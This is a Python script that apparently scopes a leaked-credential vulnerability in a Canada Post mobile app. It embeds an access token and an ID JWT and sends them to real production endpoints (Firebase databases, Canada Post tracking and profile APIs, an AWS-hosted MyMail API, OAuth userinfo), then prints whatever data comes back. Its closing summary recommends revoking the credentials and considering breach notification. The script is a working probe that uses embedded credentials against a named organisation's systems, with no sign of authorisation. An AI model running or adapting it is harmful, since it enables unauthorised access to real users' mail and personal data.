#!/usr/bin/env python3
"""
CRITICAL EXPOSURE TEST: What can we actually access?
====================================================

Tests all discovered API endpoints with the obtained JWT token
to determine the REAL scope of the vulnerability.
"""

import requests
import json
import base64
from datetime import datetime
import sys

# The obtained tokens
ACCESS_TOKEN = "UFI25QJm5zBOEtYV6ncy3XTXTvhrQLj9RM56TLNE"
ID_TOKEN = "eyJraWQiOiJFX25oQ0tIVENjTlVXS1g3WFg1MzNVb3AtX2p0MmlQY0NxWGdKRGZIT0JrIiwiYWxnIjoiUlMyNTYifQ.eyJpYXQiOjE3NjI4MTMwNzQsImlzcyI6Imh0dHBzOi8vc3NvLW9zdS5jYW5hZGFwb3N0LXBvc3Rlc2NhbmFkYS5jYS9tZ2Evc3BzL29hdXRoL29hdXRoMjAvbWV0YWRhdGEvY3BjLW1vYmlsZS1hcHBjaGVjayIsImF0X2hhc2giOiJGSFh5bTViSWJjT09kMWdwZTlDcUxnIiwic3ViIjoiY3BjLWFwcGNoZWNrLWFuZHJvaWQiLCJleHAiOjE3NjI4MTY2NzQsImF1ZCI6ImNwYy1hcHBjaGVjay1hbmRyb2lkIn0.Qrn3euDWpUFvUguZiL-OyEJ241bVtZy-BpYWIN2si-EaGqFAGPjNXqWgJyYTlqCVsrHMnkFuRDJzIoHr2ICjra70Xl_-p2kWCD_I_EGROWuyW2FBKqKI5m66TYK3F74xyjd2gyEIhzuiqfZgYjY7Web_AU0E4Ilq8NM5paF-Ri92T5r7jMJdzle4RzyMFV6NhjEaZs_ZYfOIGxcyn7RtQH5H4RUo7FZYc6PrBN6CgFvaDlY7YqTWVrYufckzEfTNE2KdFIrsSxJ0Fk8RxEAtGPNQzd5tt6ur7DYg0OVwVQiG7TmSbOR0JvSoYOnsx2mfYnIK7Cr1QMoN2p95zvXhhA"

def decode_jwt(token):
    """Decode JWT to see claims"""
    try:
        # JWT format: header.payload.signature
        parts = token.split('.')
        if len(parts) != 3:
            return None
        
        # Decode payload (add padding if needed)
        payload = parts[1]
        payload += '=' * (4 - len(payload) % 4)
        decoded = base64.urlsafe_b64decode(payload)
        return json.loads(decoded)
    except Exception as e:
        print(f"Error decoding JWT: {e}")
        return None

def print_banner():
    print("=" * 80)
    print("🔍 CRITICAL EXPOSURE TEST")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print("Testing what APIs are actually accessible with fallback token")
    print("=" * 80)
    print()

def analyze_token():
    """Analyze the JWT token to understand its scope"""
    print("[ANALYSIS] JWT Token Claims")
    print("-" * 80)
    print()
    
    print("🔐 ID Token Analysis:")
    claims = decode_jwt(ID_TOKEN)
    if claims:
        print(json.dumps(claims, indent=3))
        print()
        print("📋 Key Claims:")
        print(f"   Subject (sub): {claims.get('sub', 'N/A')}")
        print(f"   Audience (aud): {claims.get('aud', 'N/A')}")
        print(f"   Issuer (iss): {claims.get('iss', 'N/A')}")
        print(f"   Issued At: {datetime.fromtimestamp(claims.get('iat', 0))}")
        print(f"   Expires: {datetime.fromtimestamp(claims.get('exp', 0))}")
        print()
        
        print("⚠️  CRITICAL OBSERVATION:")
        print(f"   • Subject is: '{claims.get('sub', '')}'")
        print(f"   • This is an APP-LEVEL token, not user-specific")
        print(f"   • Audience is: '{claims.get('aud', '')}'")
        print()
    else:
        print("❌ Could not decode token")
    print()

def test_endpoint(name, url, method="GET", data=None, description=""):
    """Test a single endpoint"""
    print(f"🎯 Testing: {name}")
    print(f"   URL: {url}")
    print(f"   Method: {method}")
    if description:
        print(f"   Purpose: {description}")
    
    headers = {
        "Authorization": f"Bearer {ACCESS_TOKEN}",
        "User-Agent": "okhttp/4.9.1",
        "Accept": "application/json"
    }
    
    try:
        if method == "GET":
            response = requests.get(url, headers=headers, timeout=10)
        elif method == "POST":
            headers["Content-Type"] = "application/json"
            response = requests.post(url, headers=headers, json=data, timeout=10)
        else:
            print("   ❌ Unsupported method")
            return False
        
        print(f"   Status: {response.status_code}")
        
        if response.status_code == 200:
            print("   ✅ SUCCESS - Endpoint is accessible!")
            try:
                data = response.json()
                print(f"   Response preview: {json.dumps(data, indent=6)[:300]}")
                return True, data
            except:
                print(f"   Response preview: {response.text[:300]}")
                return True, response.text
        elif response.status_code == 401:
            print("   ❌ 401 Unauthorized - Token not valid for this endpoint")
            return False, None
        elif response.status_code == 403:
            print("   ❌ 403 Forbidden - Token lacks permissions")
            return False, None
        elif response.status_code == 404:
            print("   ⚠️  404 Not Found - Endpoint doesn't exist")
            return False, None
        else:
            print(f"   ⚠️  {response.status_code} - {response.text[:100]}")
            return False, None
            
    except requests.exceptions.Timeout:
        print("   ❌ Timeout")
        return False, None
    except requests.exceptions.ConnectionError:
        print("   ❌ Connection Error")
        return False, None
    except Exception as e:
        print(f"   ❌ Error: {str(e)}")
        return False, None
    finally:
        print()

def test_firebase_apis():
    """Test Firebase APIs"""
    print("\n" + "=" * 80)
    print("📱 FIREBASE APIs")
    print("=" * 80)
    print()
    
    firebase_project = "canada-post-2dce9"
    
    endpoints = [
        {
            "name": "Firebase Database - Root",
            "url": f"https://{firebase_project}.firebaseio.com/.json",
            "description": "Root database access"
        },
        {
            "name": "Firebase Database - Users",
            "url": f"https://{firebase_project}.firebaseio.com/users.json",
            "description": "User data"
        },
        {
            "name": "Firebase Database - Tracking",
            "url": f"https://{firebase_project}.firebaseio.com/tracking.json",
            "description": "Tracking data"
        },
        {
            "name": "Firebase Database - Config",
            "url": f"https://{firebase_project}.firebaseio.com/config.json",
            "description": "Configuration data"
        }
    ]
    
    results = []
    for endpoint in endpoints:
        success, data = test_endpoint(endpoint["name"], endpoint["url"], description=endpoint["description"])
        results.append({"endpoint": endpoint["name"], "accessible": success, "data": data})
    
    return results

def test_canadapost_apis():
    """Test Canada Post APIs"""
    print("\n" + "=" * 80)
    print("🏤 CANADA POST APIs")
    print("=" * 80)
    print()
    
    endpoints = [
        {
            "name": "Tracking API",
            "url": "https://api.canadapost.ca/tracking/v1/packages/123456789",
            "description": "Package tracking"
        },
        {
            "name": "Profile API",
            "url": "https://api.canadapost.ca/profile/v1/user",
            "description": "User profile data"
        },
        {
            "name": "Address Complete API",
            "url": "https://api.canadapost.ca/addresscomplete/v2/",
            "description": "Address validation"
        },
        {
            "name": "Rates API",
            "url": "https://api.canadapost.ca/rates/v1/",
            "description": "Shipping rates"
        }
    ]
    
    results = []
    for endpoint in endpoints:
        success, data = test_endpoint(endpoint["name"], endpoint["url"], description=endpoint["description"])
        results.append({"endpoint": endpoint["name"], "accessible": success, "data": data})
    
    return results

def test_mymail_api():
    """Test MyMail API (AWS-hosted)"""
    print("\n" + "=" * 80)
    print("📬 MYMAIL API (AWS)")
    print("=" * 80)
    print()
    
    base_url = "https://1i5z3519d0.execute-api.ca-central-1.amazonaws.com/mailmanager"
    
    endpoints = [
        {
            "name": "MyMail - Root",
            "url": f"{base_url}/v1/",
            "description": "MyMail root endpoint"
        },
        {
            "name": "MyMail - User Mail",
            "url": f"{base_url}/v1/mail",
            "description": "User's mail data"
        },
        {
            "name": "MyMail - Notifications",
            "url": f"{base_url}/v1/notifications",
            "description": "Mail notifications"
        },
        {
            "name": "MyMail - Preferences",
            "url": f"{base_url}/v1/preferences",
            "description": "User preferences"
        }
    ]
    
    results = []
    for endpoint in endpoints:
        success, data = test_endpoint(endpoint["name"], endpoint["url"], description=endpoint["description"])
        results.append({"endpoint": endpoint["name"], "accessible": success, "data": data})
    
    return results

def test_oauth_userinfo():
    """Test OAuth UserInfo endpoint"""
    print("\n" + "=" * 80)
    print("🔐 OAuth UserInfo")
    print("=" * 80)
    print()
    
    userinfo_url = "https://sso-osu.canadapost-postescanada.ca/mga/sps/oauth/oauth20/userinfo"
    
    success, data = test_endpoint(
        "OAuth UserInfo",
        userinfo_url,
        description="Get user information from OAuth token"
    )
    
    return [{"endpoint": "OAuth UserInfo", "accessible": success, "data": data}]

def summarize_exposure(all_results):
    """Provide final summary of exposure"""
    print("\n" + "=" * 80)
    print("🚨 EXPOSURE SUMMARY")
    print("=" * 80)
    print()
    
    accessible_count = sum(1 for r in all_results if r["accessible"])
    
    print(f"📊 Results: {accessible_count}/{len(all_results)} endpoints accessible")
    print()
    
    if accessible_count == 0:
        print("✅ GOOD NEWS:")
        print("   • Token has NO API access")
        print("   • This is an App Check attestation token only")
        print("   • Cannot access user data or sensitive APIs")
        print()
        print("🔍 ACTUAL VULNERABILITY SCOPE:")
        print("   Severity: MEDIUM (Not Critical)")
        print("   Impact: Limited to Firebase App Check bypass")
        print("   Risk:")
        print("   • Hardcoded credentials exist (bad practice)")
        print("   • But token has no actual permissions")
        print("   • Cannot access Canada Post APIs")
        print("   • Cannot access user data")
        print()
        print("📋 RECOMMENDATION:")
        print("   • Still fix the hardcoded credentials")
        print("   • But immediate risk is low")
        print("   • Focus on code quality improvements")
        
    else:
        print("🔴 CRITICAL EXPOSURE CONFIRMED:")
        print()
        print("Accessible Endpoints:")
        for result in all_results:
            if result["accessible"]:
                print(f"   ✅ {result['endpoint']}")
                if result.get("data"):
                    print(f"      Data: {str(result['data'])[:100]}...")
        print()
        
        print("💥 SEVERITY: CRITICAL")
        print("   • Hardcoded credentials provide API access")
        print("   • Attacker can access sensitive data")
        print("   • No user authentication required")
        print()
        
        print("📋 IMMEDIATE ACTIONS REQUIRED:")
        print("   1. Revoke fallback credentials IMMEDIATELY")
        print("   2. Audit what data has been accessed")
        print("   3. Force app update")
        print("   4. Notify security team")
        print("   5. Consider breach notification")

def main():
    print_banner()
    
    # Analyze token
    analyze_token()
    input("Press ENTER to start endpoint testing...")
    print()
    
    all_results = []
    
    # Test Firebase
    firebase_results = test_firebase_apis()
    all_results.extend(firebase_results)
    
    input("Press ENTER to continue...")
    
    # Test Canada Post APIs
    cp_results = test_canadapost_apis()
    all_results.extend(cp_results)
    
    input("Press ENTER to continue...")
    
    # Test MyMail
    mymail_results = test_mymail_api()
    all_results.extend(mymail_results)
    
    input("Press ENTER to continue...")
    
    # Test OAuth UserInfo
    oauth_results = test_oauth_userinfo()
    all_results.extend(oauth_results)
    
    input("Press ENTER to see summary...")
    
    # Summarize
    summarize_exposure(all_results)
    
    print()
    print("=" * 80)
    print("✅ EXPOSURE TEST COMPLETE")
    print("=" * 80)
    print()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n❌ Test interrupted")
        sys.exit(1)
    except Exception as e:
        print(f"\n\n❌ Error: {str(e)}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
